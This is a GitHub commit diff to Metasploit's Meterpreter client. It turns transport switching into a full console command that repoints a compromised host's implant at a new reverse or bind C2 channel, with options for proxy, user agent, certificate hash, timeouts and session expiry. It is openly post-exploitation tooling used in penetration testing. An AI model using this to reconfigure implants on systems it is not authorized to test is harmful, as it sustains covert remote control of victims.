Skip to content

Commit d2d68d7

Browse files
committed
Update transport switching to a full blown command
Transport switching should now support all of the bits and pieces required to do full switching with all configurable transport options
1 parent 1b577bd commit d2d68d7

File tree

3 files changed

+150
-40
lines changed

3 files changed

+150
-40
lines changed

lib/rex/post/meterpreter/client_core.rb

Lines changed: 53 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -17,6 +17,9 @@
1717
# URI checksumming stuff
1818
require 'msf/core/handler/reverse_https'
1919

20+
# certificate hash checking
21+
require 'rex/parser/x509_certificate'
22+
2023
module Rex
2124
module Post
2225
module Meterpreter
@@ -38,6 +41,9 @@ class ClientCore < Extension
3841
METERPRETER_TRANSPORT_HTTP = 1
3942
METERPRETER_TRANSPORT_HTTPS = 2
4043

44+
DEFAULT_SESSION_EXPIRATION = 24*3600*7
45+
DEFAULT_COMMS_TIMEOUT = 300
46+
4147
VALID_TRANSPORTS = {
4248
'reverse_tcp' => METERPRETER_TRANSPORT_SSL,
4349
'reverse_http' => METERPRETER_TRANSPORT_HTTP,
@@ -253,25 +259,64 @@ def machine_id
253259
end
254260

255261
def change_transport(opts={})
256-
transport = opts[:type].downcase
257262

258-
unless valid_transport?(transport)
259-
raise ArgumentError, "#{transport} is not a valid transport"
263+
unless valid_transport?(opts[:transport]) && opts[:lport]
264+
return false
265+
end
266+
267+
if opts[:transport].starts_with?('reverse')
268+
return false unless opts[:lhost]
269+
else
270+
# Bind shouldn't have lhost set
271+
opts[:lhost] = nil
260272
end
261273

274+
transport = VALID_TRANSPORTS[opts[:transport]]
275+
262276
request = Packet.create_request('core_change_transport')
263277

264-
scheme = transport.split('_')[1]
278+
scheme = opts[:transport].split('_')[1]
265279
url = "#{scheme}://#{opts[:lhost]}:#{opts[:lport]}"
266280

267-
unless transport.ends_with?('tcp')
281+
# do more magic work for http(s) payloads
282+
unless opts[:transport].ends_with?('tcp')
268283
checksum = generate_uri_checksum(URI_CHECKSUM_CONN)
269284
rand = Rex::Text.rand_text_alphanumeric(16)
270285
url << "/#{checksum}_#{rand}/"
286+
287+
opts[:comms_timeout] ||= DEFAULT_COMMS_TIMEOUT
288+
request.add_tlv(TLV_TYPE_TRANS_COMMS_TIMEOUT, opts[:comms_timeout])
289+
290+
opts[:session_exp] ||= DEFAULT_SESSION_EXPIRATION
291+
request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp])
292+
293+
# TODO: randomise if not specified?
294+
opts[:ua] ||= 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)'
295+
request.add_tlv(TLV_TYPE_TRANS_UA, opts[:ua])
296+
297+
if transport == METERPRETER_TRANSPORT_HTTPS && opts[:cert]
298+
hash = Rex::Parser::X509Certificate.get_cert_file_hash(opts[:cert])
299+
request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash)
300+
end
301+
302+
if opts[:proxy_host] && opts[:proxy_port]
303+
prefix = 'http://'
304+
prefix = 'socks=' if opts[:proxy_type] == 'socks'
305+
proxy = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}"
306+
request.add_tlv(TLV_TYPE_TRANS_PROXY_INFO, proxy)
307+
308+
if opts[:proxy_user]
309+
request.add_tlv(TLV_TYPE_TRANS_PROXY_USER, opts[:proxy_user])
310+
end
311+
if opts[:proxy_pass]
312+
request.add_tlv(TLV_TYPE_TRANS_PROXY_PASS, opts[:proxy_pass])
313+
end
314+
end
315+
271316
end
272317

273-
request.add_tlv(TLV_TYPE_TRANSPORT_TYPE, VALID_TRANSPORTS[transport])
274-
request.add_tlv(TLV_TYPE_TRANSPORT_URL, url)
318+
request.add_tlv(TLV_TYPE_TRANS_TYPE, transport)
319+
request.add_tlv(TLV_TYPE_TRANS_URL, url)
275320

276321
client.send_request(request)
277322
return true
@@ -301,7 +346,7 @@ def migrate(pid, writable_dir = nil)
301346
}
302347

303348
# We cant migrate into a process that does not exist.
304-
if process.nil?
349+
unless process
305350
raise RuntimeError, "Cannot migrate into non existent process", caller
306351
end
307352

lib/rex/post/meterpreter/packet.rb

Lines changed: 18 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -88,8 +88,15 @@ module Meterpreter
8888
TLV_TYPE_MIGRATE_SOCKET_PATH = TLV_META_TYPE_STRING | 409
8989

9090

91-
TLV_TYPE_TRANSPORT_TYPE = TLV_META_TYPE_UINT | 430
92-
TLV_TYPE_TRANSPORT_URL = TLV_META_TYPE_STRING | 431
91+
TLV_TYPE_TRANS_TYPE = TLV_META_TYPE_UINT | 430
92+
TLV_TYPE_TRANS_URL = TLV_META_TYPE_STRING | 431
93+
TLV_TYPE_TRANS_UA = TLV_META_TYPE_STRING | 432
94+
TLV_TYPE_TRANS_COMMS_TIMEOUT = TLV_META_TYPE_UINT | 433
95+
TLV_TYPE_TRANS_SESSION_EXP = TLV_META_TYPE_UINT | 434
96+
TLV_TYPE_TRANS_CERT_HASH = TLV_META_TYPE_RAW | 435
97+
TLV_TYPE_TRANS_PROXY_INFO = TLV_META_TYPE_STRING | 436
98+
TLV_TYPE_TRANS_PROXY_USER = TLV_META_TYPE_STRING | 437
99+
TLV_TYPE_TRANS_PROXY_PASS = TLV_META_TYPE_STRING | 438
93100

94101
TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460
95102

@@ -185,8 +192,15 @@ def inspect
185192
when TLV_TYPE_MIGRATE_LEN; "MIGRATE-LEN"
186193
when TLV_TYPE_MIGRATE_PAYLOAD; "MIGRATE-PAYLOAD"
187194
when TLV_TYPE_MIGRATE_ARCH; "MIGRATE-ARCH"
188-
when TLV_TYPE_TRANSPORT_TYPE; "TRANSPORT-TYPE"
189-
when TLV_TYPE_TRANSPORT_URL; "TRANSPORT-URL"
195+
when TLV_TYPE_TRANS_TYPE; "TRANS-TYPE"
196+
when TLV_TYPE_TRANS_URL; "TRANS-URL"
197+
when TLV_TYPE_TRANS_COMMS_TIMEOUT; "TRANS-COMMS-TIMEOUT"
198+
when TLV_TYPE_TRANS_SESSION_EXP; "TRANS-SESSION-EXP"
199+
when TLV_TYPE_TRANS_CERT_HASH; "TRANS-CERT-HASH"
200+
when TLV_TYPE_TRANS_PROXY_INFO; "TRANS-PROXY-INFO"
201+
when TLV_TYPE_TRANS_PROXY_USER; "TRANS-PROXY-USER"
202+
when TLV_TYPE_TRANS_PROXY_PASS; "TRANS-PROXY-PASS"
203+
190204
when TLV_TYPE_MACHINE_ID; "MACHINE-ID"
191205

192206
#when Extensions::Stdapi::TLV_TYPE_NETWORK_INTERFACE; 'network-interface'

lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb

Lines changed: 79 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -322,48 +322,99 @@ def cmd_irb(*args)
322322
Rex::Ui::Text::IrbShell.new(binding).run
323323
end
324324

325+
#
326+
# Get the machine ID of the target
327+
#
325328
def cmd_machine_id(*args)
326329
print_good("Machine ID: #{client.core.machine_id}")
327330
end
328331

332+
#
333+
# Arguments for transport switching
334+
#
335+
@@transport_opts = Rex::Parser::Arguments.new(
336+
'-t' => [ true, "Transport type: #{Rex::Post::Meterpreter::ClientCore::VALID_TRANSPORTS.keys.join(', ')}" ],
337+
'-l' => [ true, 'LHOST parameter (for reverse transports)' ],
338+
'-p' => [ true, 'LPORT parameter' ],
339+
'-ua' => [ true, 'User agent for http(s) transports (optional)' ],
340+
'-ph' => [ true, 'Proxy host for http(s) transports (optional)' ],
341+
'-pp' => [ true, 'Proxy port for http(s) transports (optional)' ],
342+
'-pu' => [ true, 'Proxy username for http(s) transports (optional)' ],
343+
'-ps' => [ true, 'Proxy password for http(s) transports (optional)' ],
344+
'-pt' => [ true, 'Proxy type for http(s) transports (optional: http, socks; default: http)' ],
345+
'-c' => [ true, 'SSL certificate path for https transport verification (optional)' ],
346+
'-to' => [ true, "Comms timeout (seconds) for http(s) transports (default: #{Rex::Post::Meterpreter::ClientCore::DEFAULT_COMMS_TIMEOUT})" ],
347+
'-ex' => [ true, "Expiration timout (seconds) for http(s) transports (default: #{Rex::Post::Meterpreter::ClientCore::DEFAULT_SESSION_EXPIRATION})" ],
348+
'-h' => [ false, 'Help menu' ])
349+
350+
def cmd_transport_help
351+
print_line('Usage: transport [options]')
352+
print_line
353+
print_line('Change the current Meterpreter transport mechanism')
354+
print_line(@@transport_opts.usage)
355+
end
356+
329357
def cmd_transport(*args)
330358
if ( args.length == 0 or args.include?("-h") )
331-
#cmd_transport_help
359+
cmd_transport_help
332360
return
333361
end
334362

335-
transport = args.shift.downcase
336-
unless client.core.valid_transport?(transport)
337-
#cmd_transport_help
338-
return
339-
end
363+
opts = {
364+
:transport => nil,
365+
:lhost => nil,
366+
:lport => nil,
367+
:ua => nil,
368+
:proxy_host => nil,
369+
:proxy_port => nil,
370+
:proxy_type => nil,
371+
:proxy_user => nil,
372+
:proxy_pass => nil,
373+
:comms_timeout => nil,
374+
:session_exp => nil,
375+
:cert => nil
376+
}
340377

341-
if transport == 'bind_tcp'
342-
unless args.length == 1
343-
#cmd_transport_help
344-
return
378+
@@transport_opts.parse(args) do |opt, idx, val|
379+
case opt
380+
when '-c'
381+
opts[:cert] = val
382+
when '-ph'
383+
opts[:proxy_host] = val
384+
when '-pp'
385+
opts[:proxy_port] = val.to_i
386+
when '-pt'
387+
opts[:proxy_type] = val
388+
when '-pu'
389+
opts[:proxy_user] = val
390+
when '-ps'
391+
opts[:proxy_pass] = val
392+
when '-ua'
393+
opts[:ua] = val
394+
when '-to'
395+
opts[:comms_timeout] = val.to_i
396+
when '-ex'
397+
opts[:session_exp] = val.to_i
398+
when '-p'
399+
opts[:lport] = val.to_i
400+
when '-l'
401+
opts[:lhost] = val
402+
when '-t'
403+
unless client.core.valid_transport?(val)
404+
cmd_transport_help
405+
return
406+
end
407+
opts[:transport] = val
345408
end
409+
end
346410

347-
lhost = ""
348-
lport = args.shift.to_i
411+
print_status("Swapping transport ...")
412+
if client.core.change_transport(opts)
413+
client.shutdown_passive_dispatcher
414+
shell.stop
349415
else
350-
unless args.length == 2
351-
#cmd_transport_help
352-
return
353-
end
354-
355-
lhost = args.shift
356-
lport = args.shift.to_i
416+
print_error("Failed to switch transport, please check the parameters")
357417
end
358-
359-
print_status("Swapping transport to #{transport} at #{lhost}:#{lport} ...")
360-
client.core.change_transport({
361-
:type => transport,
362-
:lhost => lhost,
363-
:lport => lport
364-
})
365-
client.shutdown_passive_dispatcher
366-
shell.stop
367418
end
368419

369420
def cmd_migrate_help

0 commit comments

Comments
 (0)